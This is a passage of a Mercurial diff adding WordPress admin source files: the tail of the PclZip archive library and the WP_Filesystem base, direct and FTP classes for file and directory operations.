(PCLZIP_ERROR_EXTERNAL == 1) { + PclError($p_error_code, $p_error_string); + } + else { + $this->error_code = $p_error_code; + $this->error_string = $p_error_string; + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privErrorReset() + // Description : + // Parameters : + // -------------------------------------------------------------------------------- + function privErrorReset() + { + if (PCLZIP_ERROR_EXTERNAL == 1) { + PclErrorReset(); + } + else { + $this->error_code = 0; + $this->error_string = ''; + } + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privDisableMagicQuotes() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privDisableMagicQuotes() + { + $v_result=1; + + // ----- Look if function exists + if ( (!function_exists("get_magic_quotes_runtime")) + || (!function_exists("set_magic_quotes_runtime"))) { + return $v_result; + } + + // ----- Look if already done + if ($this->magic_quotes_status != -1) { + return $v_result; + } + + // ----- Get and memorize the magic_quote value + $this->magic_quotes_status = @get_magic_quotes_runtime(); + + // ----- Disable magic_quotes + if ($this->magic_quotes_status == 1) { + @set_magic_quotes_runtime(0); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : privSwapBackMagicQuotes() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function privSwapBackMagicQuotes() + { + $v_result=1; + + // ----- Look if function exists + if ( (!function_exists("get_magic_quotes_runtime")) + || (!function_exists("set_magic_quotes_runtime"))) { + return $v_result; + } + + // ----- Look if something to do + if ($this->magic_quotes_status != -1) { + return $v_result; + } + + // ----- Swap back magic_quotes + if ($this->magic_quotes_status == 1) { + @set_magic_quotes_runtime($this->magic_quotes_status); + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + } + // End of class + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilPathReduction() + // Description : + // Parameters : + // Return Values : + // -------------------------------------------------------------------------------- + function PclZipUtilPathReduction($p_dir) + { + $v_result = ""; + + // ----- Look for not empty path + if ($p_dir != "") { + // ----- Explode path by directory names + $v_list = explode("/", $p_dir); + + // ----- Study directories from last to first + $v_skip = 0; + for ($i=sizeof($v_list)-1; $i>=0; $i--) { + // ----- Look for current path + if ($v_list[$i] == ".") { + // ----- Ignore this directory + // Should be the first $i=0, but no check is done + } + else if ($v_list[$i] == "..") { + $v_skip++; + } + else if ($v_list[$i] == "") { + // ----- First '/' i.e. root slash + if ($i == 0) { + $v_result = "/".$v_result; + if ($v_skip > 0) { + // ----- It is an invalid path, so the path is not modified + // TBC + $v_result = $p_dir; + $v_skip = 0; + } + } + // ----- Last '/' i.e. indicates a directory + else if ($i == (sizeof($v_list)-1)) { + $v_result = $v_list[$i]; + } + // ----- Double '/' inside the path + else { + // ----- Ignore only the double '//' in path, + // but not the first and last '/' + } + } + else { + // ----- Look for item to skip + if ($v_skip > 0) { + $v_skip--; + } + else { + $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); + } + } + } + + // ----- Look for skip + if ($v_skip > 0) { + while ($v_skip > 0) { + $v_result = '../'.$v_result; + $v_skip--; + } + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilPathInclusion() + // Description : + // This function indicates if the path $p_path is under the $p_dir tree. Or, + // said in an other way, if the file or sub-dir $p_path is inside the dir + // $p_dir. + // The function indicates also if the path is exactly the same as the dir. + // This function supports path with duplicated '/' like '//', but does not + // support '.' or '..' statements. + // Parameters : + // Return Values : + // 0 if $p_path is not inside directory $p_dir + // 1 if $p_path is inside directory $p_dir + // 2 if $p_path is exactly the same as $p_dir + // -------------------------------------------------------------------------------- + function PclZipUtilPathInclusion($p_dir, $p_path) + { + $v_result = 1; + + // ----- Look for path beginning by ./ + if ( ($p_dir == '.') + || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) { + $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1); + } + if ( ($p_path == '.') + || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) { + $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1); + } + + // ----- Explode dir and path by directory separator + $v_list_dir = explode("/", $p_dir); + $v_list_dir_size = sizeof($v_list_dir); + $v_list_path = explode("/", $p_path); + $v_list_path_size = sizeof($v_list_path); + + // ----- Study directories paths + $i = 0; + $j = 0; + while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { + + // ----- Look for empty dir (path reduction) + if ($v_list_dir[$i] == '') { + $i++; + continue; + } + if ($v_list_path[$j] == '') { + $j++; + continue; + } + + // ----- Compare the items + if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) { + $v_result = 0; + } + + // ----- Next items + $i++; + $j++; + } + + // ----- Look if everything seems to be the same + if ($v_result) { + // ----- Skip all the empty items + while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++; + while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++; + + if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { + // ----- There are exactly the same + $v_result = 2; + } + else if ($i < $v_list_dir_size) { + // ----- The path is shorter than the dir + $v_result = 0; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilCopyBlock() + // Description : + // Parameters : + // $p_mode : read/write compression mode + // 0 : src & dest normal + // 1 : src gzip, dest normal + // 2 : src normal, dest gzip + // 3 : src & dest gzip + // Return Values : + // -------------------------------------------------------------------------------- + function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) + { + $v_result = 1; + + if ($p_mode==0) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($p_src, $v_read_size); + @fwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + else if ($p_mode==1) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @gzread($p_src, $v_read_size); + @fwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + else if ($p_mode==2) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @fread($p_src, $v_read_size); + @gzwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + else if ($p_mode==3) + { + while ($p_size != 0) + { + $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); + $v_buffer = @gzread($p_src, $v_read_size); + @gzwrite($p_dest, $v_buffer, $v_read_size); + $p_size -= $v_read_size; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilRename() + // Description : + // This function tries to do a simple rename() function. If it fails, it + // tries to copy the $p_src file in a new $p_dest file and then unlink the + // first one. + // Parameters : + // $p_src : Old filename + // $p_dest : New filename + // Return Values : + // 1 on success, 0 on failure. + // -------------------------------------------------------------------------------- + function PclZipUtilRename($p_src, $p_dest) + { + $v_result = 1; + + // ----- Try to rename the files + if (!@rename($p_src, $p_dest)) { + + // ----- Try to copy & unlink the src + if (!@copy($p_src, $p_dest)) { + $v_result = 0; + } + else if (!@unlink($p_src)) { + $v_result = 0; + } + } + + // ----- Return + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilOptionText() + // Description : + // Translate option value in text. Mainly for debug purpose. + // Parameters : + // $p_option : the option value. + // Return Values : + // The option text value. + // -------------------------------------------------------------------------------- + function PclZipUtilOptionText($p_option) + { + + $v_list = get_defined_constants(); + for (reset($v_list); $v_key = key($v_list); next($v_list)) { + $v_prefix = substr($v_key, 0, 10); + if (( ($v_prefix == 'PCLZIP_OPT') + || ($v_prefix == 'PCLZIP_CB_') + || ($v_prefix == 'PCLZIP_ATT')) + && ($v_list[$v_key] == $p_option)) { + return $v_key; + } + } + + $v_result = 'Unknown'; + + return $v_result; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : PclZipUtilTranslateWinPath() + // Description : + // Translate windows path by replacing '\' by '/' and optionally removing + // drive letter. + // Parameters : + // $p_path : path to translate. + // $p_remove_disk_letter : true | false + // Return Values : + // The path translated. + // -------------------------------------------------------------------------------- + function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) + { + if (stristr(php_uname(), 'windows')) { + // ----- Look for potential disk letter + if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) { + $p_path = substr($p_path, $v_position+1); + } + // ----- Change potential windows directory separator + if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) { + $p_path = strtr($p_path, '\\', '/'); + } + } + return $p_path; + } + // -------------------------------------------------------------------------------- + + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-wp-filesystem-base.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-wp-filesystem-base.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,320 @@ +find_folder(ABSPATH); + //Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare. + if ( ! $folder && $this->is_dir('/wp-includes') ) + $folder = '/'; + return $folder; + } + /** + * Returns the path on the remote filesystem of WP_CONTENT_DIR + * + * @since 2.7 + * @access public + * @return string The location of the remote path. + */ + function wp_content_dir() { + return $this->find_folder(WP_CONTENT_DIR); + } + /** + * Returns the path on the remote filesystem of WP_PLUGIN_DIR + * + * @since 2.7 + * @access public + * + * @return string The location of the remote path. + */ + function wp_plugins_dir() { + return $this->find_folder(WP_PLUGIN_DIR); + } + /** + * Returns the path on the remote filesystem of the Themes Directory + * + * @since 2.7 + * @access public + * + * @return string The location of the remote path. + */ + function wp_themes_dir() { + return $this->wp_content_dir() . '/themes'; + } + + /** + * Locates a folder on the remote filesystem. + * + * Deprecated; use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead. + * + * @since 2.5 + * @deprecated 2.7 + * @access public + * + * @param string $base The folder to start searching from + * @param bool $echo True to display debug information + * @return string The location of the remote path. + */ + function find_base_dir($base = '.', $echo = false) { + _deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' ); + $this->verbose = $echo; + return $this->abspath(); + } + /** + * Locates a folder on the remote filesystem. + * + * Deprecated; use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead. + * + * @since 2.5 + * @deprecated 2.7 + * @access public + * + * @param string $base The folder to start searching from + * @param bool $echo True to display debug information + * @return string The location of the remote path. + */ + function get_base_dir($base = '.', $echo = false) { + _deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' ); + $this->verbose = $echo; + return $this->abspath(); + } + + /** + * Locates a folder on the remote filesystem. + * + * Assumes that on Windows systems, Stripping off the Drive letter is OK + * Sanitizes \\ to / in windows filepaths. + * + * @since 2.7 + * @access public + * + * @param string $folder the folder to locate + * @return string The location of the remote path. + */ + function find_folder($folder) { + + if ( strpos($this->method, 'ftp') !== false ) { + $constant_overrides = array( 'FTP_BASE' => ABSPATH, 'FTP_CONTENT_DIR' => WP_CONTENT_DIR, 'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR ); + foreach ( $constant_overrides as $constant => $dir ) + if ( defined($constant) && $folder === $dir ) + return trailingslashit(constant($constant)); + } elseif ( 'direct' == $this->method ) { + return trailingslashit($folder); + } + + $folder = preg_replace('|^([a-z]{1}):|i', '', $folder); //Strip out windows driveletter if its there. + $folder = str_replace('\\', '/', $folder); //Windows path sanitiation + + if ( isset($this->cache[ $folder ] ) ) + return $this->cache[ $folder ]; + + if ( $this->exists($folder) ) { //Folder exists at that absolute path. + $folder = trailingslashit($folder); + $this->cache[ $folder ] = $folder; + return $folder; + } + if( $return = $this->search_for_folder($folder) ) + $this->cache[ $folder ] = $return; + return $return; + } + + /** + * Locates a folder on the remote filesystem. + * + * Expects Windows sanitized path + * + * @since 2.7 + * @access private + * + * @param string $folder the folder to locate + * @param string $base the folder to start searching from + * @param bool $loop if the function has recursed, Internal use only + * @return string The location of the remote path. + */ + function search_for_folder($folder, $base = '.', $loop = false ) { + if ( empty( $base ) || '.' == $base ) + $base = trailingslashit($this->cwd()); + + $folder = untrailingslashit($folder); + + $folder_parts = explode('/', $folder); + $last_path = $folder_parts[ count($folder_parts) - 1 ]; + + $files = $this->dirlist( $base ); + + foreach ( $folder_parts as $key ) { + if ( $key == $last_path ) + continue; //We want this to be caught by the next code block. + + //Working from /home/ to /user/ to /wordpress/ see if that file exists within the current folder, + // If its found, change into it and follow through looking for it. + // If it cant find WordPress down that route, it'll continue onto the next folder level, and see if that matches, and so on. + // If it reaches the end, and still cant find it, it'll return false for the entire function. + if ( isset($files[ $key ]) ){ + //Lets try that folder: + $newdir = trailingslashit(path_join($base, $key)); + if ( $this->verbose ) + printf( __('Changing to %s') . '
    ', $newdir ); + if ( $ret = $this->search_for_folder( $folder, $newdir, $loop) ) + return $ret; + } + } + + //Only check this as a last resort, to prevent locating the incorrect install. All above proceeedures will fail quickly if this is the right branch to take. + if (isset( $files[ $last_path ] ) ) { + if ( $this->verbose ) + printf( __('Found %s') . '
    ', $base . $last_path ); + return trailingslashit($base . $last_path); + } + if ( $loop ) + return false; //Prevent tihs function looping again. + //As an extra last resort, Change back to / if the folder wasnt found. This comes into effect when the CWD is /home/user/ but WP is at /var/www/.... mainly dedicated setups. + return $this->search_for_folder($folder, '/', true); + + } + + /** + * Returns the *nix style file permissions for a file + * + * From the PHP documentation page for fileperms() + * + * @link http://docs.php.net/fileperms + * @since 2.5 + * @access public + * + * @param string $file string filename + * @return int octal representation of permissions + */ + function gethchmod($file){ + $perms = $this->getchmod($file); + if (($perms & 0xC000) == 0xC000) // Socket + $info = 's'; + elseif (($perms & 0xA000) == 0xA000) // Symbolic Link + $info = 'l'; + elseif (($perms & 0x8000) == 0x8000) // Regular + $info = '-'; + elseif (($perms & 0x6000) == 0x6000) // Block special + $info = 'b'; + elseif (($perms & 0x4000) == 0x4000) // Directory + $info = 'd'; + elseif (($perms & 0x2000) == 0x2000) // Character special + $info = 'c'; + elseif (($perms & 0x1000) == 0x1000) // FIFO pipe + $info = 'p'; + else // Unknown + $info = 'u'; + + // Owner + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + + // Group + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + + // World + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + return $info; + } + + /** + * Converts *nix style file permissions to a octal number. + * + * Converts '-rw-r--r--' to 0644 + * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod() + * + * @link http://docs.php.net/manual/en/function.chmod.php#49614 + * @since 2.5 + * @access public + * + * @param string $mode string *nix style file permission + * @return int octal representation + */ + function getnumchmodfromh($mode) { + $realmode = ''; + $legal = array('', 'w', 'r', 'x', '-'); + $attarray = preg_split('//', $mode); + + for($i=0; $i < count($attarray); $i++) + if($key = array_search($attarray[$i], $legal)) + $realmode .= $legal[$key]; + + $mode = str_pad($realmode, 9, '-'); + $trans = array('-'=>'0', 'r'=>'4', 'w'=>'2', 'x'=>'1'); + $mode = strtr($mode,$trans); + + $newmode = ''; + $newmode .= $mode[0] + $mode[1] + $mode[2]; + $newmode .= $mode[3] + $mode[4] + $mode[5]; + $newmode .= $mode[6] + $mode[7] + $mode[8]; + return $newmode; + } + + /** + * Determines if the string provided contains binary characters. + * + * @since 2.7 + * @access private + * + * @param string $text String to test against + * @return bool true if string is binary, false otherwise + */ + function is_binary( $text ) { + return (bool) preg_match('|[^\x20-\x7E]|', $text); //chr(32)..chr(127) + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-wp-filesystem-direct.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-wp-filesystem-direct.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,365 @@ +method = 'direct'; + $this->errors = new WP_Error(); + } + /** + * connect filesystem. + * + * @return bool Returns true on success or false on failure (always true for WP_Filesystem_Direct). + */ + function connect() { + return true; + } + /** + * Reads entire file into a string + * + * @param $file string Name of the file to read. + * @return string|bool The function returns the read data or false on failure. + */ + function get_contents($file) { + return @file_get_contents($file); + } + /** + * Reads entire file into an array + * + * @param $file string Path to the file. + * @return array|bool the file contents in an array or false on failure. + */ + function get_contents_array($file) { + return @file($file); + } + /** + * Write a string to a file + * + * @param $file string Path to the file where to write the data. + * @param $contents string The data to write. + * @param $mode int (optional) The file permissions as octal number, usually 0644. + * @param $type string (optional) Specifies additional type of access you require to the file. + * @return bool False upon failure. + */ + function put_contents($file, $contents, $mode = false, $type = '') { + if ( ! ($fp = @fopen($file, 'w' . $type)) ) + return false; + @fwrite($fp, $contents); + @fclose($fp); + $this->chmod($file, $mode); + return true; + } + /** + * Gets the current working directory + * + * @return string|bool the current working directory on success, or false on failure. + */ + function cwd() { + return @getcwd(); + } + /** + * Change directory + * + * @param $dir string The new current directory. + * @return bool Returns true on success or false on failure. + */ + function chdir($dir) { + return @chdir($dir); + } + /** + * Changes file group + * + * @param $file string Path to the file. + * @param $group mixed A group name or number. + * @param $recursive bool (optional) If set True changes file group recursivly. Defaults to False. + * @return bool Returns true on success or false on failure. + */ + function chgrp($file, $group, $recursive = false) { + if ( ! $this->exists($file) ) + return false; + if ( ! $recursive ) + return @chgrp($file, $group); + if ( ! $this->is_dir($file) ) + return @chgrp($file, $group); + //Is a directory, and we want recursive + $file = trailingslashit($file); + $filelist = $this->dirlist($file); + foreach ($filelist as $filename) + $this->chgrp($file . $filename, $group, $recursive); + + return true; + } + /** + * Changes filesystem permissions + * + * @param $file string Path to the file. + * @param $mode int (optional) The permissions as octal number, usually 0644 for files, 0755 for dirs. + * @param $recursive bool (optional) If set True changes file group recursivly. Defaults to False. + * @return bool Returns true on success or false on failure. + */ + function chmod($file, $mode = false, $recursive = false) { + if ( ! $this->exists($file) ) + return false; + + if ( ! $mode ) { + if ( $this->is_file($file) ) + $mode = FS_CHMOD_FILE; + elseif ( $this->is_dir($file) ) + $mode = FS_CHMOD_DIR; + else + return false; + } + + if ( ! $recursive ) + return @chmod($file, $mode); + if ( ! $this->is_dir($file) ) + return @chmod($file, $mode); + //Is a directory, and we want recursive + $file = trailingslashit($file); + $filelist = $this->dirlist($file); + foreach ($filelist as $filename) + $this->chmod($file . $filename, $mode, $recursive); + + return true; + } + /** + * Changes file owner + * + * @param $file string Path to the file. + * @param $owner mixed A user name or number. + * @param $recursive bool (optional) If set True changes file owner recursivly. Defaults to False. + * @return bool Returns true on success or false on failure. + */ + function chown($file, $owner, $recursive = false) { + if ( ! $this->exists($file) ) + return false; + if ( ! $recursive ) + return @chown($file, $owner); + if ( ! $this->is_dir($file) ) + return @chown($file, $owner); + //Is a directory, and we want recursive + $filelist = $this->dirlist($file); + foreach ($filelist as $filename) { + $this->chown($file . '/' . $filename, $owner, $recursive); + } + return true; + } + /** + * Gets file owner + * + * @param $file string Path to the file. + * @return string Username of the user. + */ + function owner($file) { + $owneruid = @fileowner($file); + if ( ! $owneruid ) + return false; + if ( ! function_exists('posix_getpwuid') ) + return $owneruid; + $ownerarray = posix_getpwuid($owneruid); + return $ownerarray['name']; + } + /** + * Gets file permissions + * + * FIXME does not handle errors in fileperms() + * + * @param $file string Path to the file. + * @return string Mode of the file (last 4 digits). + */ + function getchmod($file) { + return substr(decoct(@fileperms($file)),3); + } + function group($file) { + $gid = @filegroup($file); + if ( ! $gid ) + return false; + if ( ! function_exists('posix_getgrgid') ) + return $gid; + $grouparray = posix_getgrgid($gid); + return $grouparray['name']; + } + + function copy($source, $destination, $overwrite = false) { + if ( ! $overwrite && $this->exists($destination) ) + return false; + return copy($source, $destination); + } + + function move($source, $destination, $overwrite = false) { + //Possible to use rename()? + if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ) { + $this->delete($source); + return true; + } else { + return false; + } + } + + function delete($file, $recursive = false) { + if ( empty($file) ) //Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem. + return false; + $file = str_replace('\\', '/', $file); //for win32, occasional problems deleteing files otherwise + + if ( $this->is_file($file) ) + return @unlink($file); + if ( ! $recursive && $this->is_dir($file) ) + return @rmdir($file); + + //At this point its a folder, and we're in recursive mode + $file = trailingslashit($file); + $filelist = $this->dirlist($file, true); + + $retval = true; + if ( is_array($filelist) ) //false if no files, So check first. + foreach ($filelist as $filename => $fileinfo) + if ( ! $this->delete($file . $filename, $recursive) ) + $retval = false; + + if ( file_exists($file) && ! @rmdir($file) ) + $retval = false; + return $retval; + } + + function exists($file) { + return @file_exists($file); + } + + function is_file($file) { + return @is_file($file); + } + + function is_dir($path) { + return @is_dir($path); + } + + function is_readable($file) { + return @is_readable($file); + } + + function is_writable($file) { + return @is_writable($file); + } + + function atime($file) { + return @fileatime($file); + } + + function mtime($file) { + return @filemtime($file); + } + function size($file) { + return @filesize($file); + } + + function touch($file, $time = 0, $atime = 0) { + if ($time == 0) + $time = time(); + if ($atime == 0) + $atime = time(); + return @touch($file, $time, $atime); + } + + function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { + if ( ! $chmod ) + $chmod = FS_CHMOD_DIR; + + if ( ! @mkdir($path) ) + return false; + $this->chmod($path, $chmod); + if ( $chown ) + $this->chown($path, $chown); + if ( $chgrp ) + $this->chgrp($path, $chgrp); + return true; + } + + function rmdir($path, $recursive = false) { + //Currently unused and untested, Use delete() instead. + if ( ! $recursive ) + return @rmdir($path); + //recursive: + $filelist = $this->dirlist($path); + foreach ($filelist as $filename => $det) { + if ( '/' == substr($filename, -1, 1) ) + $this->rmdir($path . '/' . $filename, $recursive); + @rmdir($filename); + } + return @rmdir($path); + } + + function dirlist($path, $include_hidden = true, $recursive = false) { + if ( $this->is_file($path) ) { + $limit_file = basename($path); + $path = dirname($path); + } else { + $limit_file = false; + } + + if ( ! $this->is_dir($path) ) + return false; + + $dir = @dir($path); + if ( ! $dir ) + return false; + + $ret = array(); + + while (false !== ($entry = $dir->read()) ) { + $struc = array(); + $struc['name'] = $entry; + + if ( '.' == $struc['name'] || '..' == $struc['name'] ) + continue; + + if ( ! $include_hidden && '.' == $struc['name'][0] ) + continue; + + if ( $limit_file && $struc['name'] != $limit_file) + continue; + + $struc['perms'] = $this->gethchmod($path.'/'.$entry); + $struc['permsn'] = $this->getnumchmodfromh($struc['perms']); + $struc['number'] = false; + $struc['owner'] = $this->owner($path.'/'.$entry); + $struc['group'] = $this->group($path.'/'.$entry); + $struc['size'] = $this->size($path.'/'.$entry); + $struc['lastmodunix']= $this->mtime($path.'/'.$entry); + $struc['lastmod'] = date('M j',$struc['lastmodunix']); + $struc['time'] = date('h:i:s',$struc['lastmodunix']); + $struc['type'] = $this->is_dir($path.'/'.$entry) ? 'd' : 'f'; + + if ( 'd' == $struc['type'] ) { + if ( $recursive ) + $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); + else + $struc['files'] = array(); + } + + $ret[ $struc['name'] ] = $struc; + } + $dir->close(); + unset($dir); + return $ret; + } +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-wp-filesystem-ftpext.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-wp-filesystem-ftpext.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,380 @@ +method = 'ftpext'; + $this->errors = new WP_Error(); + + //Check if possible to use ftp functions. + if ( ! extension_loaded('ftp') ) { + $this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available')); + return false; + } + + // Set defaults: + //This Class uses the timeout on a per-connection basis, Others use it on a per-action basis. + + if ( ! defined('FS_TIMEOUT') ) + define('FS_TIMEOUT', 240); + + if ( empty($opt['port']) ) + $this->options['port'] = 21; + else + $this->options['port'] = $opt['port']; + + if ( empty($opt['hostname']) ) + $this->errors->add('empty_hostname', __('FTP hostname is required')); + else + $this->options['hostname'] = $opt['hostname']; + + if ( isset($opt['base']) && ! empty($opt['base']) ) + $this->wp_base = $opt['base']; + + // Check if the options provided are OK. + if ( empty($opt['username']) ) + $this->errors->add('empty_username', __('FTP username is required')); + else + $this->options['username'] = $opt['username']; + + if ( empty($opt['password']) ) + $this->errors->add('empty_password', __('FTP password is required')); + else + $this->options['password'] = $opt['password']; + + $this->options['ssl'] = false; + if ( isset($opt['connection_type']) && 'ftps' == $opt['connection_type'] ) + $this->options['ssl'] = true; + } + + function connect() { + if ( isset($this->options['ssl']) && $this->options['ssl'] && function_exists('ftp_ssl_connect') ) + $this->link = @ftp_ssl_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT); + else + $this->link = @ftp_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT); + + if ( ! $this->link ) { + $this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); + return false; + } + + if ( ! @ftp_login($this->link,$this->options['username'], $this->options['password']) ) { + $this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username'])); + return false; + } + + //Set the Connection to use Passive FTP + @ftp_pasv( $this->link, true ); + if ( @ftp_get_option($this->link, FTP_TIMEOUT_SEC) < FS_TIMEOUT ) + @ftp_set_option($this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT); + + return true; + } + + function get_contents($file, $type = '', $resumepos = 0 ) { + if ( empty($type) ) + $type = FTP_BINARY; + + $temp = tmpfile(); + if ( ! $temp ) + return false; + + if ( ! @ftp_fget($this->link, $temp, $file, $type, $resumepos) ) + return false; + + fseek($temp, 0); //Skip back to the start of the file being written to + $contents = ''; + + while ( ! feof($temp) ) + $contents .= fread($temp, 8192); + + fclose($temp); + return $contents; + } + function get_contents_array($file) { + return explode("\n", $this->get_contents($file)); + } + function put_contents($file, $contents, $type = '' ) { + if ( empty($type) ) + $type = $this->is_binary($contents) ? FTP_BINARY : FTP_ASCII; + + $temp = tmpfile(); + if ( ! $temp ) + return false; + + fwrite($temp, $contents); + fseek($temp, 0); //Skip back to the start of the file being written to + + $ret = @ftp_fput($this->link, $file, $temp, $type); + + fclose($temp); + return $ret; + } + function cwd() { + $cwd = @ftp_pwd($this->link); + if ( $cwd ) + $cwd = trailingslashit($cwd); + return $cwd; + } + function chdir($dir) { + return @ftp_chdir($this->link, $dir); + } + function chgrp($file, $group, $recursive = false ) { + return false; + } + function chmod($file, $mode = false, $recursive = false) { + if ( ! $this->exists($file) && ! $this->is_dir($file) ) + return false; + + if ( ! $mode ) { + if ( $this->is_file($file) ) + $mode = FS_CHMOD_FILE; + elseif ( $this->is_dir($file) ) + $mode = FS_CHMOD_DIR; + else + return false; + } + + if ( ! $recursive || ! $this->is_dir($file) ) { + if ( ! function_exists('ftp_chmod') ) + return @ftp_site($this->link, sprintf('CHMOD %o %s', $mode, $file)); + return @ftp_chmod($this->link, $mode, $file); + } + //Is a directory, and we want recursive + $filelist = $this->dirlist($file); + foreach ( $filelist as $filename ) { + $this->chmod($file . '/' . $filename, $mode, $recursive); + } + return true; + } + function chown($file, $owner, $recursive = false ) { + return false; + } + function owner($file) { + $dir = $this->dirlist($file); + return $dir[$file]['owner']; + } + function getchmod($file) { + $dir = $this->dirlist($file); + return $dir[$file]['permsn']; + } + function group($file) { + $dir = $this->dirlist($file); + return $dir[$file]['group']; + } + function copy($source, $destination, $overwrite = false ) { + if ( ! $overwrite && $this->exists($destination) ) + return false; + $content = $this->get_contents($source); + if ( false === $content) + return false; + return $this->put_contents($destination, $content); + } + function move($source, $destination, $overwrite = false) { + return ftp_rename($this->link, $source, $destination); + } + + function delete($file, $recursive = false ) { + if ( empty($file) ) + return false; + if ( $this->is_file($file) ) + return @ftp_delete($this->link, $file); + if ( !$recursive ) + return @ftp_rmdir($this->link, $file); + + $filelist = $this->dirlist( trailingslashit($file) ); + if ( !empty($filelist) ) + foreach ( $filelist as $delete_file ) + $this->delete( trailingslashit($file) . $delete_file['name'], $recursive); + return @ftp_rmdir($this->link, $file); + } + + function exists($file) { + $list = @ftp_nlist($this->link, $file); + return !empty($list); //empty list = no file, so invert. + } + function is_file($file) { + return $this->exists($file) && !$this->is_dir($file); + } + function is_dir($path) { + $cwd = $this->cwd(); + $result = @ftp_chdir($this->link, trailingslashit($path) ); + if ( $result && $path == $this->cwd() || $this->cwd() != $cwd ) { + @ftp_chdir($this->link, $cwd); + return true; + } + return false; + } + function is_readable($file) { + //Get dir list, Check if the file is readable by the current user?? + return true; + } + function is_writable($file) { + //Get dir list, Check if the file is writable by the current user?? + return true; + } + 